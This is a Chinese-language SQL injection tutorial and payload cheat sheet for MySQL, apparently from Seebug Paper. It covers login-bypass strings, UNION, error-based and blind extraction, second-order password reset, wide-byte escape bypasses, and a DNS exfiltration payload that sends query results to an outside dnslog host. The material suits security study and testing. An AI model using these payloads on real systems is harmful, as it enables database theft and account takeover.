作者: 啵啵
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

注入攻擊的本質,是把用戶輸入的數據當做代碼執行。

  • 這里有兩個關鍵條件:

第一個是用戶能夠控制輸入

第二個是原本程序要執行的代碼,拼接了用戶輸入的數據然后進行執行

判斷注入點

最古老的方法

  • and 1=1 頁面正常
  • and 1=2 頁面不正常

最簡單的方法

  • 頁面后加 ',看是否報錯
  • 如果是數字型傳參,可以嘗試-1

例如:

  • http://www.xxx.com/new.php?id=1 頁面顯示id=1的新聞
  • http://www.xxx.com/new.php?id=2-1 頁面顯示id=1的新聞

and 1=1 and 1=2 被攔截的可能性太高了,可以嘗試 and -1=-1 and -1=-2 and 1>0 or 1=1。

或者直接 or sleep(5)

常用函數

查看當前數據庫版本

  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION

查看數據庫當前登陸用戶

  • USER()
  • CURRENT_USER()
  • SYSTEM_USER()
  • SESSION_USER()

當前使用的數據庫

  • DATABASE()
  • SCHEMA()

系統相關

  • @@BASEDIR : mysql安裝路徑:
  • @@SLAVE_LOAD_TMPDIR : 臨時文件夾路徑:
  • @@DATADIR : 數據存儲路徑:
  • @@CHARACTER_SETS_DIR : 字符集設置文件路徑
  • @@LOG_ERROR : 錯誤日志文件路徑:
  • @@PID_FILE : pid-file文件路徑
  • @@BASEDIR : mysql安裝路徑:
  • @@SLAVE_LOAD_TMPDIR : 臨時文件夾路徑:
  • @@version_compile_os:操作系統版本:

注釋

  • -- qwe(有一個空格)

聯合數據

concat()
group_concat()
concat_ws()

CIBCAT

基本格式

CONCAT(str1,str2)

返回結果為連接參數產生的字符串。如有任何一個參數為 NULL ,則返回值為 NULL。可以有一個或多個參數。

參數中有 NULL

mysql> SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1;
+-------+
| users |
+-------+
| NULL  |
+-------+
1 row in set (0.00 sec)

使用 LIMIT 來控制結果數量

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1;  
+-------------+                                                                  
| users       |                                                                  
+-------------+                                                                  
| 1,Dumb,Dumb |                                                                  
+-------------+                                                                  
1 row in set (0.00 sec)         

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 2;  
+-----------------------+                                                        
| users                 |                                                        
+-----------------------+                                                        
| 1,Dumb,Dumb           |                                                        
| 2,Angelina,I-kill-you |                                                        
+-----------------------+     
2 rows in set (0.00 sec)

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,1;
+-------------+                                                                  
| users       |                                                                  
+-------------+                                                                  
| 1,Dumb,Dumb |                                                                  
+-------------+                                                                  
1 row in set (0.00 sec)           

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+                                                        
| users                 |                                                        
+-----------------------+                                                        
| 1,Dumb,Dumb           |                                                        
| 2,Angelina,I-kill-you |                                                        
+-----------------------+                                                        
2 rows in set (0.00 sec)     

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1,1;
+-----------------------+                                                        
| users                 |                                                        
+-----------------------+                                                        
| 2,Angelina,I-kill-you |                                                        
+-----------------------+                                                        
1 row in set (0.00 sec)         

CONCAT_WS

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數是其它參數的分隔符。這樣參數多的話就不用手動的去添加分隔符了。

基本格式

CONCAT_WS(separator,str1,str2,…)

Separator 為字符之間的分隔符

mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+                                                       
| users                 |                                                       
+-----------------------+                                                       
| 1~Dumb~Dumb           |                                                       
| 2~Angelina~I-kill-you |                                                       
+-----------------------+                                                       
2 rows in set (0.00 sec)                                                        

GROUP_CONCAT

基本格式

GROUP_CONCAT(str1,str2,…)
mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users; 
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4 
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
1 row in set (0.00 sec)

顯錯注入

Mysql在5.0以上版本加入了 information_schema 這個系統自帶庫 其中保存著關于MySQL服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等

  • information_schema.tables 存放表名和庫名的對應

  • information_schema.columns 存放字段名和表名的對應

注: information_schema.tables 實際上是選中information_schema庫中的tables表

基本流程

判斷字段數目

ORDER BY 10 

ORDER BY 5  

ORDER BY 2  

....

判斷顯示位

union select 1,2,3,4,5,6,7……

查看當前數據庫

union select 1,2,database()

查表名

union select 1,2,table_name from information_schema.tables where 
table_schema=database() 

查列名

union select 1,2,column_name from information_schema.columns where 
table_name='表名' and table_schema=database() 

查詢字段值

union select 1,字段名,字段名 from 表名

POST注入

POST注入就是使用POST進行傳參的注入,本質上和GET類型的沒什么區別

POST注入高危點

  • 登錄框
  • 查詢框
  • 等各種和數據庫有交互的框

萬能密碼

'or 1=1-- qwe
'or 1=1#
admin'-- qwe
admin'#

報錯注入

floor()報錯

原理

floor()報錯注入的原因是group by在向臨時表插入數據時,由于rand()多次計算導致插入臨時表時主鍵重復,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行后的結果。

報錯語句

mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

關鍵表被禁用了

select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2)) 

xpath語法報錯

updatexml() 更新xml文檔的函數

語法:updatexml(目標xml內容,xml文檔路徑,更新的內容)

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

實際上這里是去更新了XML文檔,但是我們在XML文檔路徑的位置里面寫入了子查詢,我們輸入特殊字符,然后就因為不符合輸入規則然后報錯了

但是報錯的時候他其實已經執行了那個子查詢代碼!

[0x7e 實際是是16進制,Mysql支持16進制,但是開頭得寫0x 0x7e是一個特殊符號,然后不符合路徑規則報錯] ~ ~

extractvalue()

語法: extractvalue(目標xml內容,xpath格式的字符串)

and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))

updatexml與extractvalue都是基于xpath語法進行報錯的,extractvalue也與其類似。

一般是配合and或者是or使用的,他和聯合查詢不同,不需要在意什么字段數。

exp報錯

原理

exp是一個數學函數 取e的x次方,當我們輸入的值大于709就會報錯 然后取反它的值總會大于709所以報錯,適用版本:5.5.5,5.5.49,而mysql能記錄的double數值范圍有限,一旦結果超過范圍,則該函數報錯,~符號為運算符,意思為一元字符反轉。

報錯語句

這里必須使用嵌套,因為不使用嵌套不加select*from 無法大整數溢出

exp(~(select * from(查詢語句)a))

union select exp(~(select * from(select database())a))

BIGINT溢出錯誤

報錯語句

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

幾何函數報錯

報錯語句

GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))

polygon():polygon((select * from(select * from(select user())a)b))

multipoint():multipoint((select * from(select * from(select user())a)b))

multilinestring():multilinestring((select * from(select * from(select user())a)b))

linestring(): LINESTRING((select * from(select * from(select user())a)b))

multipolygon() :multipolygon((select * from(select * from(select user())a)b))

盲注

介紹

布爾盲注

  • 布爾有明顯的True跟Flase,也就是說它會根據你的注入信息返回Ture跟Flase,也就沒有了之前的報錯信息.

時間盲注

  • 頁面返回值只有一種Ture,無論輸入認識值,返回情況都會按正常來處理.加入特定的時間函數,通過web頁面返回的時間差來判斷注入語句是否正確。

盲注常用函數

  • length() 函數 返回字符串的長度
  • substr() 截取字符串 (語法:SUBSTR(str,pos,len);)
  • scii() 返回字符的ascii碼 [將字符變為數字wei]
  • sleep() 將程序掛起一段時間n為n秒
  • if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

注入流程

盲注

猜解當前數據庫名稱長度

and (length(database()))>1

利用ASCII碼猜解當前數據庫名稱

and (ascii(substr(database(),1,1)))=115
--返回正常,說明數據庫名稱第一位是s

猜表名

and (ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)))=101
--返回正常,說明數據庫表名的第一個的第一位是e

猜字段名

and (ascii(substr((select column_name from information_schema.columns where 
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,說明zkaq表中的列名稱第一位是f

猜內容

and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,說明zKaQ列第一位是z

延時注入

and if(ascii(substr(database(),1,1))>1,0,sleep(5))

延時盲注其實和布爾盲注其實沒有什么太大的區別,只不過是一個依靠頁面是否正常判斷,一個是否延時判斷,在操作上其實也差不多,只不過延時多一個if()

二次注入

原理

黑客精心構造 SQL 語句插入到數據庫中,數據庫報錯的信息被其他類型的 SQL 語句調用的時候觸發攻擊行為。因為第一次黑客插入到數據庫的時候并沒有觸發危害性,而是再其他語句調用的時候才會觸發攻擊行為,這個就是二次注入。

案例

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

這里直接使用單引號拼接了 username 所以當 username 可控的話 ,這里是存在SQL注入的,假設用戶注冊的 username 的值為:admin'#,那么此時的完整語句就為:sql

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此時就完全改變了語義,直接就修改掉了 admin 用戶的密碼。

步驟

創建一個admin'#開頭的用戶名:

admin'#1
admin'#233
admin'#gg
...

注冊完成后數據庫的記錄信息如下

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

成功添加了記錄,這里單引號數據庫中中看沒有被雖然轉義了,這是因為轉義只不過是暫時的,最后存入到數據庫的時候還是沒變的。

接下來登錄 admin'#hacker 用戶,然后來修改當前的密碼

此時來數據庫中查看,可以發現成功修改掉了 admin 用的密碼了:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  8 | admin         | 233        |
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

寬字節注入

寬字節注入原理

MySQL 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如 %aa%5c 就是一個 漢字。因為過濾方法主要就是在敏感字符前面添加 反斜杠 `\。

寬字節注入就是PHP發送請求到MySql時使用了語句

SET NAMES 'gbk' 或是SET character_set_client =gbk 進行了一次編碼,但是又由于一些不經意的字符集轉換導致了寬字節注入。

1 %df吃掉`

具體的原因是 urlencode(\') = %5c%27,我們在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,這個時候就把%df%5c 當做是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。

2 將 \' 中的 \ 過濾掉

例如可以構造 %5c%5c%27 的情況,后面的%5c會被前面的%5c 給注釋掉。這也是 bypass 的一種方法。

post型

將 utf-8 轉換為 utf-16 或 utf-32,例如將 ' 轉為 utf-16 為?

我們就 可以利用這個方式進行嘗試,可以使用 Linux 自帶的 iconv 命令進行 UTF 的編碼轉換:

?  ~ echo \'|iconv -f utf-8 -t utf-16
??'
?  ~ echo \'|iconv -f utf-8 -t utf-32
??'

其他情況

  1. UTF-8是3個字符
  2. GBK是2個字符
  3. \是1個字符

外面傳參一個漢字UTF-8(3個字符)

進了數據庫GBK3+1=4 >這是兩個漢字

漢') or 1=1-- qwe

有的時候我們也可以用16進制來代替字符串

DNS注入

dnslog的使用場景

在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNS請求把想獲得的數據外帶出來。

對于sql盲注,常見的方法就是二分法去一個個的猜,但是這樣的方法麻煩不說,還很容易因為數據請求頻繁導致被ban。

所以可以將select到的數據發給一個url,利用dns解析產生的記錄日志來查看數據。

load_file()

load_file(file_name):讀取一個文件并將其內容作為字符串返回

語法

load_file(file_name)

其中file_name是文件的完整路徑。

條件

  1. 文件必須位于服務器主機上
  2. 必須指定完整路徑的文件
  3. 必須要file權限,所有字節可讀。

如果文件不存在或者無法讀取,因為前面條件之一不滿足,函數返回NULL。(這個功能不是默認開啟的需要在mysql配置中加一句secure_file_priv=)

UNC路徑

UNC(Universal Naming Convention)通用命名規則,也叫通用命名規范、通用命名約定。 網絡(主要指局域網)上資源的完整名稱。 它符合\servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。 目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式\servername\sharename\directory\filename。

unc共享就是指網絡硬盤的共享

我們熟悉的命令行訪問法訪問網上鄰居,實際上應該稱作UNC路徑訪問法。

不過UNC路徑也可以這樣寫//servername/sharename {建議這樣寫}

例子

  • \().zkaq.cn\abc => 我們通過SMB服務取請求a.zkaq.cn那臺機器下的abc文件夾

DNS注入原理

語句

and (select load_file(concat('//',(select database()),'.3zgwqy.dnslog.cn/ddd')))

通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄

此時變為顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問服務器,記錄后查看日志.

order by注入

order by 不同于 where 后的注入點,不能使用 union 等進行注入

驗證方式

  • 升序和降序驗證
# 升序排序
?sort=1 asc

# 降序排序
?sort=1 dasc
  • rand() 驗證

rand(ture) 和 rand(false) 的結果是不一樣的

?sort=rand(true)
?sort=rand(false)
  • 延時驗證
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

這種方式均可以延時,延時的時間為 (行數*1) 秒


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1665/